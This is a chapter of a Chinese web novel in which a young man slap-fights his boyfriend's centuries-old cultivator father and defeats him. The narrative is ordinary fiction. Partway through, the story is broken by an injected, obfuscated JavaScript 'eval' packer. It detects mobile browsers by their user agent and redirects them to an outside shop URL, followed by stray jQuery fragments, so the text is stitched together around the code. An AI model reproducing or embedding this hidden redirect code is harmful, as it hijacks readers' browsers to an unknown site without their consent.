闻人祢如此干脆,郑镜反而犹豫起来。他问闻人祢,不怕死吗?
闻人祢挑眉,原来是不用死的?
郑镜:“我还以为你是有什么底气,没想到……”
闻人祢:“很奇怪吗?郑巩是这个世界上我最亲密的人,你又实在不正常,抱着死了的想法来没问题吧。”
郑镜欲言又止,闻人祢怀疑他被自己的大实话整无语了。最后,郑镜干咳一声,说他倒也不杀人,何况郑镜是他儿子。
“你们家庭的相处方式真是闻所未闻。”闻人祢完全不相信会有父慈子孝。
郑巩在闻人祢背后提醒,郑镜杀的人比他头发多。郑镜现在不动闻人祢,无非是看上闻人祢……
由于郑镜又一次打断,于是在闻人祢那里,就只听见“看上你”。闻人祢瞬间起了一身起皮疙瘩,虽然他知道自己脸可以,但没想到会被真可能大了100来岁的老怪物爬灰啊。
郑镜眯着眼睛看闻人祢,关注着他体内能量流动:“那么,回归最初的话题,方式还是你来定吧。”
“打你脸行吗,我看着真的不爽。”闻人黑着脸挑衅。
躲起来的游悠:?
郑巩:我就知道。
郑镜愣住,随后一笑:“可以啊。”
似乎生怕闻人祢打不到他,郑镜甚至走近了,让闻人祢感觉到他身上的威压:“我让着你怎么样?只要打到了,就算你赢。”
那张惊为天人的脸就在闻人祢面前,晃的闻人祢无端火大,只觉得拍起来声音肯定好听。冷静,他家真有点玄乎,重要的是确定他真能信守承诺。
“当然可以,我比你们年轻人更尊重所谓因果。”郑镜这个造孽造大发了的说起谎也不怕闪了腰,“那,用你们年轻人的方式?”
闻人祢看着郑镜伸出来的手,反应一会儿,才一巴掌拍过去,又握拳划定,是为一言为定。
规则怪谈:……我不敢!
本来凭借其中这一巴掌,局势应该完全倒向闻人祢。但郑镜真的是老怪物,规则怪谈一接触到他体内传输过来的玄力,直接吓到躲起来,完全靠闻人祢自身容纳了过量玄气。
感觉到闻人祢完全没有因为入侵玄气不舒服的郑镜,手指抵住唇轻笑,对闻人祢表示,他会期待明天的。
微微上调的如情人般温柔尾音,让闻人祢对郑巩吐槽:“你爸好骚啊。”
已经习惯的郑巩没说什么,实在绷不住的游悠闪现进来:“你是真的不知者无畏。”
知情者如游悠,现在是纯粹佩服闻人祢,哪怕他依然蒙在鼓里。那什么,无论是对上郑镜,还是吐槽郑镜。
“我不知者无畏。”闻人祢伸出一只手,表示自己的不在乎。
忽然他收敛了所有满不在乎,蹲在郑巩身边,捏住郑巩的耳朵:“你真是闷葫芦,你爸那么过分你也不给我说。你要早说,我绝对不让你回来!”
郑巩苦笑,这不是他能决定的。因为……
“他命都在师父手里。”游悠也觉得让郑巩说这话,在闻人祢面前有点过于可怜了。顺便告知闻人祢,如果真赢了郑镜,“那你以后就是郑巩的主人了,师父确实无权干涉了。”
“不是主人,是恋人。”闻人祢听见“主人”皱眉,再次觉得搞玄学的都是老封建。他是郑巩的男朋友,来这里是为了帮郑巩逃离原生家庭,或许还有一个斗地主索要卖身契。
“好吧,祝你们武运昌隆。”闻人祢如此坚决,游悠神情复杂。就算郑镜的态度已经如此儿戏,他依然觉得闻人祢希望渺茫。
“慢走不送。”闻人祢实在不喜欢这泼冷水的家伙。却在游悠走的一瞬间,握住郑巩双手:“你爸到底有什么弱点。”
知道闻人祢一直是在强撑的郑巩:“弥弥,谢谢。”
“所以你爸到底有什么弱点?”闻人祢看着郑巩,看着他瞳孔微颤,深思熟虑,思索郑镜的弱点。
“他很强。”
“废话就不用多说了。”
郑镜,到底活了多少岁是真不知道。虽然有两个儿子,但还是处男,因为郑辉和郑巩是他出于延长寿命造的玄气容器。
但是,出了点差错,最后郑辉废了,郑巩也改成试验品,不做容器了。
“从郑辉看,他手艺特别差。还好你是他被不知道什么夺舍了给做出来的。”闻人祢漫不经心说。他想看郑巩衣服下的纹路,被郑巩躲开了。郑巩说很恐怖,别看。
闻人祢拉住郑巩的腰带:“所以这到底是什么?我们以前上床的时候没有这些吧?”
承受不住玄气,所谓筋脉要爆炸了罢了。郑巩没说的是,回来承受这一遭,是郑镜发现他以前的玄气几乎空掉了。
规则怪谈:嗝。
现在规则怪谈吓得躲起来了,闻人祢和郑巩亲密接触也不会钻人筋脉里去硬吃,因此……
闻人祢站起来:“那你爸确实欠打了。”
闻言,郑巩睁大眼睛,不明白闻人祢情绪怎么变换那么快。
规则怪谈:您好我也不知道他怎么想一出是一出。反正我不敢上。
闻人祢睡在旁边,郑巩睁着眼。
闻人祢换衣服,郑巩睁着眼。
闻人祢和游悠交流,郑巩睁着眼。
闻人祢直面郑镜了,郑巩睁着眼。
“真是个呆子。”闻人祢在郑巩唇上落下一吻,撑着台边翻身上台,站在郑镜面前。
“回神了。”游悠在郑巩背后提醒,“他认真的。”
是的,站在封闭的大堂内,只有零星几个人看着。可见郑镜也不太认真,又或者他觉得只是走了一个过场。
游悠倒是给了闻人祢一个道具,希望能排上用场。毕竟明眼人都知道,郑镜为老不尊欺负小年轻。
“虽然我觉得跑不掉。”游悠把双手背在脑后,在郑巩心上撒盐。
郑巩握紧拳头,看着台上升起结界。客观上,他知道按照郑镜轻慢的态度,闻人祢未必打不过。实际上呢,他已经做好强行打破的准备。
郑镜看着自己面前的闻人祢,感受不到他体内的规则怪谈,干脆降了难度:“好像我继续欺负你一样。这样吧,三十招之内,这个封闭场地里,我完全按照【你的规则】来。”
闻人祢站到了郑镜面前。
平平无奇的巴掌轻而易举穿透旁人怎么也打不破的玄气护体。
但郑镜躲开了。
台下的游悠:“哈?”这也行?
郑巩带着迷之释然:“我还以为你知道呢。”
游悠惊慌失措:“我知道你家闻人祢就是这个规矩,但我不知道……啊?”就算郑镜主动了,居然直接兼容了?
台上,Round2。
郑镜也没想到那么轻松给他破防了,但很快收起吃惊表情。他试探了一下,对闻人祢挥出一巴掌,被闻人祢轻松躲开了。
闻人祢:“我还以为你要整什么特别厉害的特效。”
是啊,特效,或者说玄气呢。郑镜倒也没想拍死闻人祢,但是他的玄气在出现时直接随风飘散了。
当然郑镜不会承认,自己被一个低配小规则给死死压住了:“毕竟那么漂亮的脸蛋,打花了哭肿了我会很心疼的。”
不论郑镜怎么挽尊,郑镜的巴掌落空,又回到闻人祢的场合。
闻人祢举起手,微微动一下。郑镜也轻动,但身体没有偏移太多。于是闻人祢第二次动作幅度大了一些,郑镜依然没有上钩。
双方都很专注。第三次闻人祢依然是假动作,甚至微微后退,都没有骗到郑镜。
就在郑镜紧盯着闻人祢右手,思考他下一次是假动作,还是直接破釜沉舟,他的右脸忽然传来火辣辣的疼痛,连带着清脆的巴掌声,脸直接偏到一边去了。
闻人祢依然举着右手,但他的左手已经不在原地。在场的几个人,包括游悠和郑巩,看着右脸立刻红肿、几根头发还黏在脸上、看起来格外狼狈的郑镜,屏住了呼吸。
游悠捂着嘴:“直接对师父本体造成了伤害。”别看那只是一个巴掌!那是直接对老怪物造成伤害的巴掌啊。
郑巩反而没有那么淡定。他知道,规则怪谈只是让闻人祢潜意识觉得“这很正常”,现在还吓的藏起来,意味闻人祢随时可能清醒。这个恶趣味的规则怪谈发动方式是扇巴掌,本身羞辱性质比一些正常的规则怪谈还要强烈,郑镜恐怕修行开始就没被人这样当众扇过……
郑巩想多了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606491|205483||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,由于闻人祢的阶段性胜利,规则怪谈狗仗人势,居然敢冒头了。是以闻人祢只警惕着被下了面子的郑镜反扑。
果然啊,郑镜一个猛然起身,用左手一个旋身,也顾不得什么漂亮脸蛋哭的可怜了,抡圆了照闻人祢左脸来。
闻人祢一个紧急后仰,立刻回弹起身,还借着踉跄的功夫扶住了差点摔下起的郑镜。
闻人祢:“好险,差点没尊老爱幼。”万一郑镜这个公公看不惯他这个儿媳,给他穿小鞋怎么办。
郑镜被闻人祢扶着,好半天没回神,被自己刚才的失态给整懵了。听到闻人祢絮絮叨叨,说他和郑巩冲动这方面都很像,小孩子脾气,好不容易连上的理智又端了弦。
清脆的巴掌声又一次在大堂响起,室内安静的连一根针掉地上都听得见。
郑镜脸上巴掌对称了,闻人祢也不敢动了。天地良心,那么静的距离,就算考虑未来害怕被挑刺,闻人祢第一反应也是自卫啊。
所以,众目睽睽之下,对里世界一无所知的普通男大学生,面对神秘世家高玄老怪物的突刺,一把抓住看似不可阻挡的一巴掌,将郑镜的手高高举起,反手教育孩子般,恨铁不成钢给了他一巴掌。
郑镜缓缓跪在闻人祢面前,受不起这一大礼的闻人祢连呼“使不得使不得”,吓得就这么举着郑镜一只手,紧随他面对面跪下去。
看到闻人祢吃亏的郑巩:“郑镜在干……”被游悠一把捂住嘴。好家伙,这时候吃醋吗?
赢了,但是冷汗掉下来。闻人祢遏制住大脑和心脏全部啸叫“该使出连环巴掌收官”的冲动,小心翼翼把郑镜两只手一起禁锢在自己手心,防止他又暴起:“公公,还打吗?”
闻人祢觉得自己声音特别温柔小意,特别可怜小媳妇。但他刚刚算是把郑镜打服了,对着不可战胜的郑镜正面两巴掌,打的在场所有人听着都觉得他故意挑衅。
然后闻人祢听见了微不可查的啜泣声,以及地上快速消散的水痕。
郑镜,老郑家的老祖宗,闻人祢他公公,就这么,被闻人祢打哭了。
“怎么办啊,他会不会反悔啊。”闻人祢在郑巩面前左右移动、绞尽脑汁,害怕自己不能和郑巩相守。
忽然,闻人祢站定,竖起一根手指,想到了顶级办法:“趁他被我打懵了,你断亲,和我私奔?”
郑巩毫不犹豫跟着闻人祢私奔了。
事情并没有落幕。七天后,郑巩就收到了郑镜的告知,表示这事他请示过天意,郑巩最多只有三年自由时间。
“让闻人祢看看,他能不能替你把天意都扇个大逼兜吧。”
几乎辨认不清的狂草,闻人祢的老公公郑镜居然还是个老傲娇。
想到这里,闻人祢一愣,不得不问一边的郑镜:“当时你怎么请示的?”这么精准的三年。
郑镜如读心了闻人祢,解释是用秤计算。郑巩不是自然出生,生来是有目的,如商品般被计较利益。当他要换主人,那自然要计算新主人能留住他多久。
“你打我打的毫不留情,还指望我帮你们瞒天过海吗?”郑镜语气有了多余的情感,瞥过来用他那张脸直勾勾盯着闻人祢。
闻人祢看着郑镜,一字一句:“我以前就和你说过,郑巩是我恋人。”
郑镜微微一笑,没继续说什么,也没继续压力闻人祢。这反而让闻人祢又恢复了勇气:“郑巩他能复活吗?”
“能。”
“你听话就行。”
“真是只关心郑巩啊。”
郑镜回归的谜语人风格让闻人祢牙痒痒,觉得那张好脸特别适合印五个手指印。
闻人祢看不惯他又干不掉他,让郑镜不由得心情愉悦,反而挤兑了不少让闻人祢更手痒痒的话。无外乎闻人祢为了郑巩打他,话里话外离不开一些欠打。
闻人祢:这家伙不会也被打出来心中的M了吧。
与此同时,正在跟随大师往云南雨林里走的天绛宫:“阿嚏,阿嚏。”谁在骂他。
另一边,好不容易爬回诡域的诸天世界:“妈呀我的大补丸呢!”
去哪儿了?去哪儿了?诸天世界犹豫一会儿,决定跟上闻人祢残存的气息,先一步前往云南方向。